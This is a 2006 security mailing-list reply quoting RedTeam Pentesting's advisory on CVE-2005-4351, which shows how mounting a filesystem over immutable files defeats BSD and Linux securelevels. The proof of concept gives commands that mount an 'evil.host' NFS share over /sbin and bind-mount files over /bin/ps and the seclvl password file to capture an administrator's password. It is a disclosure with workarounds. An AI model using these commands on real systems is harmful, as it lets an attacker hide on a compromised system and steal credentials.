Message-ID: <Pine.LNX.4.58.0601101033570.8185@wotan.suse.de>
Date: Tue Jan 10 09:36:40 2006
From: krahmer at suse.de (Sebastian Krahmer)
Subject: BSD Securelevels: Circumventing protection of
	files flagged immutable

On Mon, 9 Jan 2006, RedTeam Pentesting wrote:

Hi,

Such an attack has been described in my DIMVA 2004 submission:

http://www-rnks.informatik.tu-cottbus.de/~mm/sidar/dimva2004/materials/KrahmerSlides.pdf
http://www.gi-ev.de/fachbereiche/sicherheit/fg/sidar/dimva/dimva2004/materials/KrahmerPaper.pdf


l8er,
Sebastian


> Advisory: BSD Securelevels: Circumventing protection of files flagged
>           immutable
> 
> By mounting an arbitrary filesystem, it is possible to mask files
> flagged immutable with any user-defined files.
> 
> 
> Details
> =======
> 
> Product: FreeBSD up to 6.0-STABLE and 7.0-CURRENT
>          OpenBSD up to 3.8
>          DragonFly up to 1.2
>          Linux vanilla kernel up to 2.6.15
> Vulnerability Type: Filesystem privilege circumvention
> Security-Risk: medium
> Advisory-URL:
> http://www.redteam-pentesting.de/advisories/rt-sa-2005-15.txt
> Advisory-Status: public
> CVE: CVE-2005-4351
> CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4351
> 
> 
> Introduction
> ============
> 
> BSD-Securelevels try to harden the system by restricting certain
> functions. The FreeBSD manpage[1] states: "The kernel runs with five 
> different levels of security. Any super-user process can raise the 
> security level, but no process can lower it."
> 
> While running a securelevel of one or greater, files having the
> immutable flag cannot be changed anymore. Although files are protected
> from being changed permanently, masking them at runtime is still
> possible.
> 
> 
> More Details
> ============
> 
> While the behaviour described above seems to provide effective
> protection against changing immutable files physically, the protection
> can be circumvented at runtime. By mounting another filesystem,
> immutable files can be masked. Masking means placing an arbitrary file
> at the location of an immutable file, without changing the immutable
> file itself.
> Every access to the masked file through its path in the filesystem will
> result in access to the masking file. This can be achieved by mounting
> an
> NFS or any other available filesystem on the directory where the
> immutable file resides. At runtime an attacker could replace arbitrary
> files. Although it is not possible to change the contents of immutable
> files permanently, the impact is similar.
> With Linux an attacker can even intercept the password input to lower
> the security level masking /sys/seclvl/passwd.
> 
> After searching mailinglist archives, we discovered that this problem
> was already discussed[2,3,4] before, but with no real result. The
> current behaviour is not good under security considerations. Especially
> bad is that it still seems to be a common mispractise for administrators
> to rely on securelevels to make it impossible for an attacker to change
> the running system. Using the described technique it would be possible
> to create a rootkit utilizing mount.
> 
> 
> Proof of Concept
> ================
> 
> The following example uses an NFS share but any other usable filesystem
> also works.
> 
> root@# ls -lo /sbin
> total 4884
> -r-xr-xr-x  1 root  wheel     schg   7480 Nov 23 14:04 adjkerntz
> -r-xr-xr-x  1 root  wheel     schg  13968 Nov 23 14:04 atacontrol
> -r-xr-xr-x  1 root  wheel     schg  39828 Nov 23 14:04 atm
> -r-xr-xr-x  1 root  wheel     schg  51772 Nov 23 14:04 atmconfig
> -r-xr-xr-x  1 root  wheel     schg   7292 Nov 23 14:04 badsect
> -r-xr-xr-x  2 root  wheel     schg  29336 Nov 23 14:04 bsdlabel
> -r-xr-xr-x  1 root  wheel     schg  55972 Nov 23 14:04 camcontrol
> -r-xr-xr-x  1 root  wheel     schg  10124 Nov 23 14:04 ccdconfig
> -r-xr-xr-x  1 root  wheel     schg   5424 Nov 23 14:04 clri
> [...]
> 
> root@# mount -t nfs evil.host:/exported /sbin
> root@# ls -lo /sbin
> total 4884
> -r-xr-xr-x  1 root  wheel     -      8451 Nov 22 15:07 adjkerntz
> -r-xr-xr-x  1 root  wheel     -     13485 Nov 22 15:07 atacontrol
> -r-xr-xr-x  1 root  wheel     -     30957 Nov 22 15:07 atm
> -r-xr-xr-x  1 root  wheel     -     51498 Nov 22 15:07 atmconfig
> -r-xr-xr-x  1 root  wheel     -      7435 Nov 22 15:07 badsect
> -r-xr-xr-x  2 root  wheel     -     24385 Nov 22 15:07 bsdlabel
> -r-xr-xr-x  1 root  wheel     -     58591 Nov 22 15:07 camcontrol
> -r-xr-xr-x  1 root  wheel     -     11585 Nov 22 15:07 ccdconfig
> -r-xr-xr-x  1 root  wheel     -      6581 Nov 22 15:07 clri
> [...]
> 
> With Linux an attacker does not even have to mount a complete filesystem
> but mount just a single file over an immutable file by using the
> following command:
> 
> root@# mount --bind /tmp/attacker_ps /bin/ps
> 
> To intercept the password of seclvl with Linux, an attacker can use the
> following:
> 
> root@# mount --bind /tmp/getpass /sys/seclvl/passwd
> 
> Any attempt to lower the securitylevel by an admin will store the
> password
> in /tmp/getpass.
> 
> 
> Workaround
> ==========
> 
> A possible workaround is to disable mounting of filesystems completely
> after booting. This can be achieved through hardening kernel extensions
> like OpenBSD's systrace[5], FreeBSD's MAC security extensions[6] or
> SELinux[7]. Administrators should furthermore not rely on securelevels
> for protecting files in case of an attack.
> 
> 
> Fix
> ===
> 
> No fix is available at this time. The implementation of securelevels on
> NetBSD was found to be not vulnerable to this attack.
> No fix will be released for OpenBSD. To quote Theo de Raadt:
> 
> "Sorry, we are going to change nothing. Securelevels are useless."
> 
> FreeBSD is still discussing the issue and no further response from the
> Linux maintainer has been received yet.
> 
> 
> Security Risk
> =============
> 
> This kind of attack provides a medium security risk. An attacker is able
> to hide himself effectively on a compromised system by using the methods
> described above.
> 
> 
> Discussion
> ==========
> 
> While protecting data effectively against permanent tampering, the term
> "Securelevels" should not contain the word secure. Securelevels do not
> protect against system compromise and provide only limited security. To
> restrict access to a system a more secure and flexible approach like
> OpenBSD's systrace[5], FreeBSD's MAC Framework[6] or SELinux[7] should
> be used.
> 
> 
> History
> =======
> 
> 2005-11-05 Problem discovered while testing a product of iPisec Ltd.
> 2005-11-29 Discussed the issue with iPisec management and technicians
> 2005-12-02 Contacted the maintainer of BSD-Securelevels on Linux
> 2005-12-02 Response from the maintainer of BSD-Securelevels on Linux, he
>            wants to do what *BSD will be doing
> 2005-12-04 Contacted the maintainers of different BSD derivates
> 2005-12-05 Response from the FreeBSD Security Team - problem under 
>            discussion
> 2005-12-06 Response from the OpenBSD - problem will not be fixed
> 2005-12-15 Forwarded the *BSD responses to the Linux maintainer 
> 2006-01-05 No further response from the Linux maintainer
> 2006-01-09 Public release
> 
> 
> References
> ==========
> 
> [1] http://www.freebsd.org/cgi/man.cgi?query=securelevel
> [2] http://www.monkey.org/openbsd/archive/tech/9906/msg00149.html
> [3] http://archives.neohapsis.com/archives/openbsd/2005-10/1523.html
> [4] http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/22142
> [5] http://www.citi.umich.edu/u/provos/systrace/index.html
> [6] http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mac.html
> [7] http://www.nsa.gov/selinux/index.cfm
> 
> 
> RedTeam
> =======
> 
> RedTeam offers interested business parties penetration tests to validate
> their security. Doing security research RedTeam likes to enhance the
> common knowledgebase in security related areas. More information about
> RedTeam can be found at http://www.redteam-pentesting.de.
> 
> 

-- 
~
~ perl self.pl
~ $_='print"\$_=\47$_\47;eval"';eval
~ krahmer@...e.de - SuSE Security Team
~

Powered by blists - more mailing lists